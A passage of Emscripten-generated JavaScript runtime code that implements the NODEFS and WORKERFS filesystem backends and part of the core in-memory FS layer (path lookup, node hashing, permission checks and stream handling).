  2700.                         return done(err);
  2701.                     IDBFS.storeLocalEntry(path, entry, done)
  2702.                 }
  2703.                 ))
  2704.             } else {
  2705.                 IDBFS.loadLocalEntry(path, (function(err, entry) {
  2706.                     if (err)
  2707.                         return done(err);
  2708.                     IDBFS.storeRemoteEntry(store, path, entry, done)
  2709.                 }
  2710.                 ))
  2711.             }
  2712.         }
  2713.         ));
  2714.         remove.sort().reverse().forEach((function(path) {
  2715.             if (dst.type === "local") {
  2716.                 IDBFS.removeLocalEntry(path, done)
  2717.             } else {
  2718.                 IDBFS.removeRemoteEntry(store, path, done)
  2719.             }
  2720.         }
  2721.         ))
  2722.     }
  2723.     )
  2724. };
  2725. var NODEFS = {
  2726.     isWindows: false,
  2727.     staticInit: (function() {
  2728.         NODEFS.isWindows = !!process.platform.match(/^win/)
  2729.     }
  2730.     ),
  2731.     mount: (function(mount) {
  2732.         assert(ENVIRONMENT_IS_NODE);
  2733.         return NODEFS.createNode(null, "/", NODEFS.getMode(mount.opts.root), 0)
  2734.     }
  2735.     ),
  2736.     createNode: (function(parent, name, mode, dev) {
  2737.         if (!FS.isDir(mode) && !FS.isFile(mode) && !FS.isLink(mode)) {
  2738.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2739.         }
  2740.         var node = FS.createNode(parent, name, mode);
  2741.         node.node_ops = NODEFS.node_ops;
  2742.         node.stream_ops = NODEFS.stream_ops;
  2743.         return node
  2744.     }
  2745.     ),
  2746.     getMode: (function(path) {
  2747.         var stat;
  2748.         try {
  2749.             stat = fs.lstatSync(path);
  2750.             if (NODEFS.isWindows) {
  2751.                 stat.mode = stat.mode | (stat.mode & 146) >> 1
  2752.             }
  2753.         } catch (e) {
  2754.             if (!e.code)
  2755.                 throw e;
  2756.             throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2757.         }
  2758.         return stat.mode
  2759.     }
  2760.     ),
  2761.     realPath: (function(node) {
  2762.         var parts = [];
  2763.         while (node.parent !== node) {
  2764.             parts.push(node.name);
  2765.             node = node.parent
  2766.         }
  2767.         parts.push(node.mount.opts.root);
  2768.         parts.reverse();
  2769.         return PATH.join.apply(null, parts)
  2770.     }
  2771.     ),
  2772.     flagsToPermissionStringMap: {
  2773.         0: "r",
  2774.         1: "r+",
  2775.         2: "r+",
  2776.         64: "r",
  2777.         65: "r+",
  2778.         66: "r+",
  2779.         129: "rx+",
  2780.         193: "rx+",
  2781.         514: "w+",
  2782.         577: "w",
  2783.         578: "w+",
  2784.         705: "wx",
  2785.         706: "wx+",
  2786.         1024: "a",
  2787.         1025: "a",
  2788.         1026: "a+",
  2789.         1089: "a",
  2790.         1090: "a+",
  2791.         1153: "ax",
  2792.         1154: "ax+",
  2793.         1217: "ax",
  2794.         1218: "ax+",
  2795.         4096: "rs",
  2796.         4098: "rs+"
  2797.     },
  2798.     flagsToPermissionString: (function(flags) {
  2799.         flags &= ~2097152;
  2800.         flags &= ~2048;
  2801.         flags &= ~32768;
  2802.         flags &= ~524288;
  2803.         if (flags in NODEFS.flagsToPermissionStringMap) {
  2804.             return NODEFS.flagsToPermissionStringMap[flags]
  2805.         } else {
  2806.             throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2807.         }
  2808.     }
  2809.     ),
  2810.     node_ops: {
  2811.         getattr: (function(node) {
  2812.             var path = NODEFS.realPath(node);
  2813.             var stat;
  2814.             try {
  2815.                 stat = fs.lstatSync(path)
  2816.             } catch (e) {
  2817.                 if (!e.code)
  2818.                     throw e;
  2819.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2820.             }
  2821.             if (NODEFS.isWindows && !stat.blksize) {
  2822.                 stat.blksize = 4096
  2823.             }
  2824.             if (NODEFS.isWindows && !stat.blocks) {
  2825.                 stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0
  2826.             }
  2827.             return {
  2828.                 dev: stat.dev,
  2829.                 ino: stat.ino,
  2830.                 mode: stat.mode,
  2831.                 nlink: stat.nlink,
  2832.                 uid: stat.uid,
  2833.                 gid: stat.gid,
  2834.                 rdev: stat.rdev,
  2835.                 size: stat.size,
  2836.                 atime: stat.atime,
  2837.                 mtime: stat.mtime,
  2838.                 ctime: stat.ctime,
  2839.                 blksize: stat.blksize,
  2840.                 blocks: stat.blocks
  2841.             }
  2842.         }
  2843.         ),
  2844.         setattr: (function(node, attr) {
  2845.             var path = NODEFS.realPath(node);
  2846.             try {
  2847.                 if (attr.mode !== undefined) {
  2848.                     fs.chmodSync(path, attr.mode);
  2849.                     node.mode = attr.mode
  2850.                 }
  2851.                 if (attr.timestamp !== undefined) {
  2852.                     var date = new Date(attr.timestamp);
  2853.                     fs.utimesSync(path, date, date)
  2854.                 }
  2855.                 if (attr.size !== undefined) {
  2856.                     fs.truncateSync(path, attr.size)
  2857.                 }
  2858.             } catch (e) {
  2859.                 if (!e.code)
  2860.                     throw e;
  2861.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2862.             }
  2863.         }
  2864.         ),
  2865.         lookup: (function(parent, name) {
  2866.             var path = PATH.join2(NODEFS.realPath(parent), name);
  2867.             var mode = NODEFS.getMode(path);
  2868.             return NODEFS.createNode(parent, name, mode)
  2869.         }
  2870.         ),
  2871.         mknod: (function(parent, name, mode, dev) {
  2872.             var node = NODEFS.createNode(parent, name, mode, dev);
  2873.             var path = NODEFS.realPath(node);
  2874.             try {
  2875.                 if (FS.isDir(node.mode)) {
  2876.                     fs.mkdirSync(path, node.mode)
  2877.                 } else {
  2878.                     fs.writeFileSync(path, "", {
  2879.                         mode: node.mode
  2880.                     })
  2881.                 }
  2882.             } catch (e) {
  2883.                 if (!e.code)
  2884.                     throw e;
  2885.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2886.             }
  2887.             return node
  2888.         }
  2889.         ),
  2890.         rename: (function(oldNode, newDir, newName) {
  2891.             var oldPath = NODEFS.realPath(oldNode);
  2892.             var newPath = PATH.join2(NODEFS.realPath(newDir), newName);
  2893.             try {
  2894.                 fs.renameSync(oldPath, newPath)
  2895.             } catch (e) {
  2896.                 if (!e.code)
  2897.                     throw e;
  2898.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2899.             }
  2900.         }
  2901.         ),
  2902.         unlink: (function(parent, name) {
  2903.             var path = PATH.join2(NODEFS.realPath(parent), name);
  2904.             try {
  2905.                 fs.unlinkSync(path)
  2906.             } catch (e) {
  2907.                 if (!e.code)
  2908.                     throw e;
  2909.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2910.             }
  2911.         }
  2912.         ),
  2913.         rmdir: (function(parent, name) {
  2914.             var path = PATH.join2(NODEFS.realPath(parent), name);
  2915.             try {
  2916.                 fs.rmdirSync(path)
  2917.             } catch (e) {
  2918.                 if (!e.code)
  2919.                     throw e;
  2920.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2921.             }
  2922.         }
  2923.         ),
  2924.         readdir: (function(node) {
  2925.             var path = NODEFS.realPath(node);
  2926.             try {
  2927.                 return fs.readdirSync(path)
  2928.             } catch (e) {
  2929.                 if (!e.code)
  2930.                     throw e;
  2931.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2932.             }
  2933.         }
  2934.         ),
  2935.         symlink: (function(parent, newName, oldPath) {
  2936.             var newPath = PATH.join2(NODEFS.realPath(parent), newName);
  2937.             try {
  2938.                 fs.symlinkSync(oldPath, newPath)
  2939.             } catch (e) {
  2940.                 if (!e.code)
  2941.                     throw e;
  2942.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2943.             }
  2944.         }
  2945.         ),
  2946.         readlink: (function(node) {
  2947.             var path = NODEFS.realPath(node);
  2948.             try {
  2949.                 path = fs.readlinkSync(path);
  2950.                 path = NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path);
  2951.                 return path
  2952.             } catch (e) {
  2953.                 if (!e.code)
  2954.                     throw e;
  2955.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2956.             }
  2957.         }
  2958.         )
  2959.     },
  2960.     stream_ops: {
  2961.         open: (function(stream) {
  2962.             var path = NODEFS.realPath(stream.node);
  2963.             try {
  2964.                 if (FS.isFile(stream.node.mode)) {
  2965.                     stream.nfd = fs.openSync(path, NODEFS.flagsToPermissionString(stream.flags))
  2966.                 }
  2967.             } catch (e) {
  2968.                 if (!e.code)
  2969.                     throw e;
  2970.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2971.             }
  2972.         }
  2973.         ),
  2974.         close: (function(stream) {
  2975.             try {
  2976.                 if (FS.isFile(stream.node.mode) && stream.nfd) {
  2977.                     fs.closeSync(stream.nfd)
  2978.                 }
  2979.             } catch (e) {
  2980.                 if (!e.code)
  2981.                     throw e;
  2982.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2983.             }
  2984.         }
  2985.         ),
  2986.         read: (function(stream, buffer, offset, length, position) {
  2987.             if (length === 0)
  2988.                 return 0;
  2989.             var nbuffer = new Buffer(length);
  2990.             var res;
  2991.             try {
  2992.                 res = fs.readSync(stream.nfd, nbuffer, 0, length, position)
  2993.             } catch (e) {
  2994.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  2995.             }
  2996.             if (res > 0) {
  2997.                 for (var i = 0; i < res; i++) {
  2998.                     buffer[offset + i] = nbuffer[i]
  2999.                 }
  3000.             }
  3001.             return res
  3002.         }
  3003.         ),
  3004.         write: (function(stream, buffer, offset, length, position) {
  3005.             var nbuffer = new Buffer(buffer.subarray(offset, offset + length));
  3006.             var res;
  3007.             try {
  3008.                 res = fs.writeSync(stream.nfd, nbuffer, 0, length, position)
  3009.             } catch (e) {
  3010.                 throw new FS.ErrnoError(ERRNO_CODES[e.code])
  3011.             }
  3012.             return res
  3013.         }
  3014.         ),
  3015.         llseek: (function(stream, offset, whence) {
  3016.             var position = offset;
  3017.             if (whence === 1) {
  3018.                 position += stream.position
  3019.             } else if (whence === 2) {
  3020.                 if (FS.isFile(stream.node.mode)) {
  3021.                     try {
  3022.                         var stat = fs.fstatSync(stream.nfd);
  3023.                         position += stat.size
  3024.                     } catch (e) {
  3025.                         throw new FS.ErrnoError(ERRNO_CODES[e.code])
  3026.                     }
  3027.                 }
  3028.             }
  3029.             if (position < 0) {
  3030.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3031.             }
  3032.             return position
  3033.         }
  3034.         )
  3035.     }
  3036. };
  3037. var WORKERFS = {
  3038.     DIR_MODE: 16895,
  3039.     FILE_MODE: 33279,
  3040.     reader: null,
  3041.     mount: (function(mount) {
  3042.         assert(ENVIRONMENT_IS_WORKER);
  3043.         if (!WORKERFS.reader)
  3044.             WORKERFS.reader = new FileReaderSync;
  3045.         var root = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0);
  3046.         var createdParents = {};
  3047.         function ensureParent(path) {
  3048.             var parts = path.split("/");
  3049.             var parent = root;
  3050.             for (var i = 0; i < parts.length - 1; i++) {
  3051.                 var curr = parts.slice(0, i + 1).join("/");
  3052.                 if (!createdParents[curr]) {
  3053.                     createdParents[curr] = WORKERFS.createNode(parent, parts[i], WORKERFS.DIR_MODE, 0)
  3054.                 }
  3055.                 parent = createdParents[curr]
  3056.             }
  3057.             return parent
  3058.         }
  3059.         function base(path) {
  3060.             var parts = path.split("/");
  3061.             return parts[parts.length - 1]
  3062.         }
  3063.         Array.prototype.forEach.call(mount.opts["files"] || [], (function(file) {
  3064.             WORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file, file.lastModifiedDate)
  3065.         }
  3066.         ));
  3067.         (mount.opts["blobs"] || []).forEach((function(obj) {
  3068.             WORKERFS.createNode(ensureParent(obj["name"]), base(obj["name"]), WORKERFS.FILE_MODE, 0, obj["data"])
  3069.         }
  3070.         ));
  3071.         (mount.opts["packages"] || []).forEach((function(pack) {
  3072.             pack["metadata"].files.forEach((function(file) {
  3073.                 var name = file.filename.substr(1);
  3074.                 WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0, pack["blob"].slice(file.start, file.end))
  3075.             }
  3076.             ))
  3077.         }
  3078.         ));
  3079.         return root
  3080.     }
  3081.     ),
  3082.     createNode: (function(parent, name, mode, dev, contents, mtime) {
  3083.         var node = FS.createNode(parent, name, mode);
  3084.         node.mode = mode;
  3085.         node.node_ops = WORKERFS.node_ops;
  3086.         node.stream_ops = WORKERFS.stream_ops;
  3087.         node.timestamp = (mtime || new Date).getTime();
  3088.         assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE);
  3089.         if (mode === WORKERFS.FILE_MODE) {
  3090.             node.size = contents.size;
  3091.             node.contents = contents
  3092.         } else {
  3093.             node.size = 4096;
  3094.             node.contents = {}
  3095.         }
  3096.         if (parent) {
  3097.             parent.contents[name] = node
  3098.         }
  3099.         return node
  3100.     }
  3101.     ),
  3102.     node_ops: {
  3103.         getattr: (function(node) {
  3104.             return {
  3105.                 dev: 1,
  3106.                 ino: undefined,
  3107.                 mode: node.mode,
  3108.                 nlink: 1,
  3109.                 uid: 0,
  3110.                 gid: 0,
  3111.                 rdev: undefined,
  3112.                 size: node.size,
  3113.                 atime: new Date(node.timestamp),
  3114.                 mtime: new Date(node.timestamp),
  3115.                 ctime: new Date(node.timestamp),
  3116.                 blksize: 4096,
  3117.                 blocks: Math.ceil(node.size / 4096)
  3118.             }
  3119.         }
  3120.         ),
  3121.         setattr: (function(node, attr) {
  3122.             if (attr.mode !== undefined) {
  3123.                 node.mode = attr.mode
  3124.             }
  3125.             if (attr.timestamp !== undefined) {
  3126.                 node.timestamp = attr.timestamp
  3127.             }
  3128.         }
  3129.         ),
  3130.         lookup: (function(parent, name) {
  3131.             throw new FS.ErrnoError(ERRNO_CODES.ENOENT)
  3132.         }
  3133.         ),
  3134.         mknod: (function(parent, name, mode, dev) {
  3135.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3136.         }
  3137.         ),
  3138.         rename: (function(oldNode, newDir, newName) {
  3139.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3140.         }
  3141.         ),
  3142.         unlink: (function(parent, name) {
  3143.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3144.         }
  3145.         ),
  3146.         rmdir: (function(parent, name) {
  3147.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3148.         }
  3149.         ),
  3150.         readdir: (function(node) {
  3151.             var entries = [".", ".."];
  3152.             for (var key in node.contents) {
  3153.                 if (!node.contents.hasOwnProperty(key)) {
  3154.                     continue
  3155.                 }
  3156.                 entries.push(key)
  3157.             }
  3158.             return entries
  3159.         }
  3160.         ),
  3161.         symlink: (function(parent, newName, oldPath) {
  3162.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3163.         }
  3164.         ),
  3165.         readlink: (function(node) {
  3166.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  3167.         }
  3168.         )
  3169.     },
  3170.     stream_ops: {
  3171.         read: (function(stream, buffer, offset, length, position) {
  3172.             if (position >= stream.node.size)
  3173.                 return 0;
  3174.             var chunk = stream.node.contents.slice(position, position + length);
  3175.             var ab = WORKERFS.reader.readAsArrayBuffer(chunk);
  3176.             buffer.set(new Uint8Array(ab), offset);
  3177.             return chunk.size
  3178.         }
  3179.         ),
  3180.         write: (function(stream, buffer, offset, length, position) {
  3181.             throw new FS.ErrnoError(ERRNO_CODES.EIO)
  3182.         }
  3183.         ),
  3184.         llseek: (function(stream, offset, whence) {
  3185.             var position = offset;
  3186.             if (whence === 1) {
  3187.                 position += stream.position
  3188.             } else if (whence === 2) {
  3189.                 if (FS.isFile(stream.node.mode)) {
  3190.                     position += stream.node.size
  3191.                 }
  3192.             }
  3193.             if (position < 0) {
  3194.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  3195.             }
  3196.             return position
  3197.         }
  3198.         )
  3199.     }
  3200. };
  3201. STATICTOP += 16;
  3202. STATICTOP += 16;
  3203. STATICTOP += 16;
  3204. var FS = {
  3205.     root: null,
  3206.     mounts: [],
  3207.     devices: [null],
  3208.     streams: [],
  3209.     nextInode: 1,
  3210.     nameTable: null,
  3211.     currentPath: "/",
  3212.     initialized: false,
  3213.     ignorePermissions: true,
  3214.     trackingDelegate: {},
  3215.     tracking: {
  3216.         openFlags: {
  3217.             READ: 1,
  3218.             WRITE: 2
  3219.         }
  3220.     },
  3221.     ErrnoError: null,
  3222.     genericErrors: {},
  3223.     filesystems: null,
  3224.     syncFSRequests: 0,
  3225.     handleFSError: (function(e) {
  3226.         if (!(e instanceof FS.ErrnoError))
  3227.             throw e + " : " + stackTrace();
  3228.         return ___setErrNo(e.errno)
  3229.     }
  3230.     ),
  3231.     lookupPath: (function(path, opts) {
  3232.         path = PATH.resolve(FS.cwd(), path);
  3233.         opts = opts || {};
  3234.         if (!path)
  3235.             return {
  3236.                 path: "",
  3237.                 node: null
  3238.             };
  3239.         var defaults = {
  3240.             follow_mount: true,
  3241.             recurse_count: 0
  3242.         };
  3243.         for (var key in defaults) {
  3244.             if (opts[key] === undefined) {
  3245.                 opts[key] = defaults[key]
  3246.             }
  3247.         }
  3248.         if (opts.recurse_count > 8) {
  3249.             throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3250.         }
  3251.         var parts = PATH.normalizeArray(path.split("/").filter((function(p) {
  3252.             return !!p
  3253.         }
  3254.         )), false);
  3255.         var current = FS.root;
  3256.         var current_path = "/";
  3257.         for (var i = 0; i < parts.length; i++) {
  3258.             var islast = i === parts.length - 1;
  3259.             if (islast && opts.parent) {
  3260.                 break
  3261.             }
  3262.             current = FS.lookupNode(current, parts[i]);
  3263.             current_path = PATH.join2(current_path, parts[i]);
  3264.             if (FS.isMountpoint(current)) {
  3265.                 if (!islast || islast && opts.follow_mount) {
  3266.                     current = current.mounted.root
  3267.                 }
  3268.             }
  3269.             if (!islast || opts.follow) {
  3270.                 var count = 0;
  3271.                 while (FS.isLink(current.mode)) {
  3272.                     var link = FS.readlink(current_path);
  3273.                     current_path = PATH.resolve(PATH.dirname(current_path), link);
  3274.                     var lookup = FS.lookupPath(current_path, {
  3275.                         recurse_count: opts.recurse_count
  3276.                     });
  3277.                     current = lookup.node;
  3278.                     if (count++ > 40) {
  3279.                         throw new FS.ErrnoError(ERRNO_CODES.ELOOP)
  3280.                     }
  3281.                 }
  3282.             }
  3283.         }
  3284.         return {
  3285.             path: current_path,
  3286.             node: current
  3287.         }
  3288.     }
  3289.     ),
  3290.     getPath: (function(node) {
  3291.         var path;
  3292.         while (true) {
  3293.             if (FS.isRoot(node)) {
  3294.                 var mount = node.mount.mountpoint;
  3295.                 if (!path)
  3296.                     return mount;
  3297.                 return mount[mount.length - 1] !== "/" ? mount + "/" + path : mount + path
  3298.             }
  3299.             path = path ? node.name + "/" + path : node.name;
  3300.             node = node.parent
  3301.         }
  3302.     }
  3303.     ),
  3304.     hashName: (function(parentid, name) {
  3305.         var hash = 0;
  3306.         for (var i = 0; i < name.length; i++) {
  3307.             hash = (hash << 5) - hash + name.charCodeAt(i) | 0
  3308.         }
  3309.         return (parentid + hash >>> 0) % FS.nameTable.length
  3310.     }
  3311.     ),
  3312.     hashAddNode: (function(node) {
  3313.         var hash = FS.hashName(node.parent.id, node.name);
  3314.         node.name_next = FS.nameTable[hash];
  3315.         FS.nameTable[hash] = node
  3316.     }
  3317.     ),
  3318.     hashRemoveNode: (function(node) {
  3319.         var hash = FS.hashName(node.parent.id, node.name);
  3320.         if (FS.nameTable[hash] === node) {
  3321.             FS.nameTable[hash] = node.name_next
  3322.         } else {
  3323.             var current = FS.nameTable[hash];
  3324.             while (current) {
  3325.                 if (current.name_next === node) {
  3326.                     current.name_next = node.name_next;
  3327.                     break
  3328.                 }
  3329.                 current = current.name_next
  3330.             }
  3331.         }
  3332.     }
  3333.     ),
  3334.     lookupNode: (function(parent, name) {
  3335.         var err = FS.mayLookup(parent);
  3336.         if (err) {
  3337.             throw new FS.ErrnoError(err,parent)
  3338.         }
  3339.         var hash = FS.hashName(parent.id, name);
  3340.         for (var node = FS.nameTable[hash]; node; node = node.name_next) {
  3341.             var nodeName = node.name;
  3342.             if (node.parent.id === parent.id && nodeName === name) {
  3343.                 return node
  3344.             }
  3345.         }
  3346.         return FS.lookup(parent, name)
  3347.     }
  3348.     ),
  3349.     createNode: (function(parent, name, mode, rdev) {
  3350.         if (!FS.FSNode) {
  3351.             FS.FSNode = (function(parent, name, mode, rdev) {
  3352.                 if (!parent) {
  3353.                     parent = this
  3354.                 }
  3355.                 this.parent = parent;
  3356.                 this.mount = parent.mount;
  3357.                 this.mounted = null;
  3358.                 this.id = FS.nextInode++;
  3359.                 this.name = name;
  3360.                 this.mode = mode;
  3361.                 this.node_ops = {};
  3362.                 this.stream_ops = {};
  3363.                 this.rdev = rdev
  3364.             }
  3365.             );
  3366.             FS.FSNode.prototype = {};
  3367.             var readMode = 292 | 73;
  3368.             var writeMode = 146;
  3369.             Object.defineProperties(FS.FSNode.prototype, {
  3370.                 read: {
  3371.                     get: (function() {
  3372.                         return (this.mode & readMode) === readMode
  3373.                     }
  3374.                     ),
  3375.                     set: (function(val) {
  3376.                         val ? this.mode |= readMode : this.mode &= ~readMode
  3377.                     }
  3378.                     )
  3379.                 },
  3380.                 write: {
  3381.                     get: (function() {
  3382.                         return (this.mode & writeMode) === writeMode
  3383.                     }
  3384.                     ),
  3385.                     set: (function(val) {
  3386.                         val ? this.mode |= writeMode : this.mode &= ~writeMode
  3387.                     }
  3388.                     )
  3389.                 },
  3390.                 isFolder: {
  3391.                     get: (function() {
  3392.                         return FS.isDir(this.mode)
  3393.                     }
  3394.                     )
  3395.                 },
  3396.                 isDevice: {
  3397.                     get: (function() {
  3398.                         return FS.isChrdev(this.mode)
  3399.                     }
  3400.                     )
  3401.                 }
  3402.             })
  3403.         }
  3404.         var node = new FS.FSNode(parent,name,mode,rdev);
  3405.         FS.hashAddNode(node);
  3406.         return node
  3407.     }
  3408.     ),
  3409.     destroyNode: (function(node) {
  3410.         FS.hashRemoveNode(node)
  3411.     }
  3412.     ),
  3413.     isRoot: (function(node) {
  3414.         return node === node.parent
  3415.     }
  3416.     ),
  3417.     isMountpoint: (function(node) {
  3418.         return !!node.mounted
  3419.     }
  3420.     ),
  3421.     isFile: (function(mode) {
  3422.         return (mode & 61440) === 32768
  3423.     }
  3424.     ),
  3425.     isDir: (function(mode) {
  3426.         return (mode & 61440) === 16384
  3427.     }
  3428.     ),
  3429.     isLink: (function(mode) {
  3430.         return (mode & 61440) === 40960
  3431.     }
  3432.     ),
  3433.     isChrdev: (function(mode) {
  3434.         return (mode & 61440) === 8192
  3435.     }
  3436.     ),
  3437.     isBlkdev: (function(mode) {
  3438.         return (mode & 61440) === 24576
  3439.     }
  3440.     ),
  3441.     isFIFO: (function(mode) {
  3442.         return (mode & 61440) === 4096
  3443.     }
  3444.     ),
  3445.     isSocket: (function(mode) {
  3446.         return (mode & 49152) === 49152
  3447.     }
  3448.     ),
  3449.     flagModes: {
  3450.         "r": 0,
  3451.         "rs": 1052672,
  3452.         "r+": 2,
  3453.         "w": 577,
  3454.         "wx": 705,
  3455.         "xw": 705,
  3456.         "w+": 578,
  3457.         "wx+": 706,
  3458.         "xw+": 706,
  3459.         "a": 1089,
  3460.         "ax": 1217,
  3461.         "xa": 1217,
  3462.         "a+": 1090,
  3463.         "ax+": 1218,
  3464.         "xa+": 1218
  3465.     },
  3466.     modeStringToFlags: (function(str) {
  3467.         var flags = FS.flagModes[str];
  3468.         if (typeof flags === "undefined") {
  3469.             throw new Error("Unknown file open mode: " + str)
  3470.         }
  3471.         return flags
  3472.     }
  3473.     ),
  3474.     flagsToPermissionString: (function(flag) {
  3475.         var perms = ["r", "w", "rw"][flag & 3];
  3476.         if (flag & 512) {
  3477.             perms += "w"
  3478.         }
  3479.         return perms
  3480.     }
  3481.     ),
  3482.     nodePermissions: (function(node, perms) {
  3483.         if (FS.ignorePermissions) {
  3484.             return 0
  3485.         }
  3486.         if (perms.indexOf("r") !== -1 && !(node.mode & 292)) {
  3487.             return ERRNO_CODES.EACCES
  3488.         } else if (perms.indexOf("w") !== -1 && !(node.mode & 146)) {
  3489.             return ERRNO_CODES.EACCES
  3490.         } else if (perms.indexOf("x") !== -1 && !(node.mode & 73)) {
  3491.             return ERRNO_CODES.EACCES
  3492.         }
  3493.         return 0
  3494.     }
  3495.     ),
  3496.     mayLookup: (function(dir) {
  3497.         var err = FS.nodePermissions(dir, "x");
  3498.         if (err)
  3499.             return err;
  3500.         if (!dir.node_ops.lookup)
  3501.             return ERRNO_CODES.EACCES;
  3502.         return 0
  3503.     }
  3504.     ),
  3505.     mayCreate: (function(dir, name) {
  3506.         try {
  3507.             var node = FS.lookupNode(dir, name);
  3508.             return ERRNO_CODES.EEXIST
  3509.         } catch (e) {}
  3510.         return FS.nodePermissions(dir, "wx")
  3511.     }
  3512.     ),
  3513.     mayDelete: (function(dir, name, isdir) {
  3514.         var node;
  3515.         try {
  3516.             node = FS.lookupNode(dir, name)
  3517.         } catch (e) {
  3518.             return e.errno
  3519.         }
  3520.         var err = FS.nodePermissions(dir, "wx");
  3521.         if (err) {
  3522.             return err
  3523.         }
  3524.         if (isdir) {
  3525.             if (!FS.isDir(node.mode)) {
  3526.                 return ERRNO_CODES.ENOTDIR
  3527.             }
  3528.             if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) {
  3529.                 return ERRNO_CODES.EBUSY
  3530.             }
  3531.         } else {
  3532.             if (FS.isDir(node.mode)) {
  3533.                 return ERRNO_CODES.EISDIR
  3534.             }
  3535.         }
  3536.         return 0
  3537.     }
  3538.     ),
  3539.     mayOpen: (function(node, flags) {
  3540.         if (!node) {
  3541.             return ERRNO_CODES.ENOENT
  3542.         }
  3543.         if (FS.isLink(node.mode)) {
  3544.             return ERRNO_CODES.ELOOP
  3545.         } else if (FS.isDir(node.mode)) {
  3546.             if (FS.flagsToPermissionString(flags) !== "r" || flags & 512) {
  3547.                 return ERRNO_CODES.EISDIR
  3548.             }
  3549.         }
  3550.         return FS.nodePermissions(node, FS.flagsToPermissionString(flags))
  3551.     }
  3552.     ),
  3553.     MAX_OPEN_FDS: 4096,
  3554.     nextfd: (function(fd_start, fd_end) {
  3555.         fd_start = fd_start || 0;
  3556.         fd_end = fd_end || FS.MAX_OPEN_FDS;
  3557.         for (var fd = fd_start; fd <= fd_end; fd++) {
  3558.             if (!FS.streams[fd]) {
  3559.                 return fd
  3560.             }
  3561.         }
  3562.         throw new FS.ErrnoError(ERRNO_CODES.EMFILE)
  3563.     }
  3564.     ),
  3565.     getStream: (function(fd) {
  3566.         return FS.streams[fd]
  3567.     }
  3568.     ),
  3569.     createStream: (function(stream, fd_start, fd_end) {
  3570.         if (!FS.FSStream) {
  3571.             FS.FSStream = (function() {}
  3572.             );
  3573.             FS.FSStream.prototype = {};
  3574.             Object.defineProperties(FS.FSStream.prototype, {
  3575.                 object: {
  3576.                     get: (function() {
  3577.                         return this.node
  3578.                     }
  3579.                     ),
  3580.                     set: (function(val) {
  3581.                         this.node = val
  3582.                     }
  3583.                     )
  3584.                 },
  3585.                 isRead: {
  3586.                     get: (function() {
  3587.                         return (this.flags & 2097155) !== 1
  3588.                     }
  3589.                     )
  3590.                 },
  3591.                 isWrite: {
  3592.                     get: (function() {
  3593.                         return (this.flags & 2097155) !== 0
  3594.                     }
  3595.                     )
  3596.                 },
  3597.                 isAppend: {
  3598.                     get: (function() {
  3599.                         return this.flags & 1024
  3600.                     }
  3601.                     )
  3602.                 }
  3603.             })
  3604.         }
  3605.         var newStream = new FS.FSStream;
  3606.         for (var p in stream) {
  3607.             newStream[p] = stream[p]
  3608.         }
  3609.         stream = newStream;
  3610.         var fd = FS.nextfd(fd_start, fd_end);
  3611.         stream.fd = fd;
  3612.         FS.streams[fd] = stream;
  3613.         return stream
  3614.     }
  3615.     ),
  3616.     closeStream: (function(fd) {
  3617.         FS.streams[fd] = null
  3618.     }
  3619.     ),
  3620.     chrdev_stream_ops: {
  3621.         open: (function(stream) {
  3622.             var device = FS.getDevice(stream.node.rdev);
  3623.             stream.stream_ops = device.stream_ops;
  3624.             if (stream.stream_ops.open) {
  3625.                 stream.stream_ops.open(stream)
  3626.             }
  3627.         }
  3628.         ),
  3629.         llseek: (function() {
  3630.             throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)
  3631.         }
  3632.         )
  3633.     },
  3634.     major: (function(dev) {
  3635.         return dev >> 8
  3636.     }
  3637.     ),
  3638.     minor: (function(dev) {
  3639.         return dev & 255
  3640.     }
  3641.     ),
  3642.     makedev: (function(ma, mi) {
  3643.         return ma << 8 | mi
  3644.     }
  3645.     ),
  3646.     registerDevice: (function(dev, ops) {
  3647.         FS.devices[dev] = {
  3648.             stream_ops: ops
  3649.         }
  3650.     }
  3651.     ),
  3652.     getDevice: (function(dev) {
  3653.         return FS.devices[dev]
  3654.     }
  3655.     ),
  3656.     getMounts: (function(mount) {
  3657.         var mounts = [];
  3658.         var check = [mount];
  3659.         while (check.length) {
  3660.             var m = check.pop();
  3661.             mounts.push(m);
  3662.             check.push.apply(check, m.mounts)
  3663.         }
  3664.         return mounts
  3665.     }
  3666.     ),
  3667.     syncfs: (function(populate, callback) {
  3668.         if (typeof populate === "function") {
  3669.             callback = populate;
  3670.             populate = false
  3671.         }
  3672.         FS.syncFSRequests++;
  3673.         if (FS.syncFSRequests > 1) {
  3674.             console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work")
  3675.         }
  3676.         var mounts = FS.getMounts(FS.root.mount);
  3677.         var completed = 0;
  3678.         function doCallback(err) {
  3679.             assert(FS.syncFSRequests > 0);
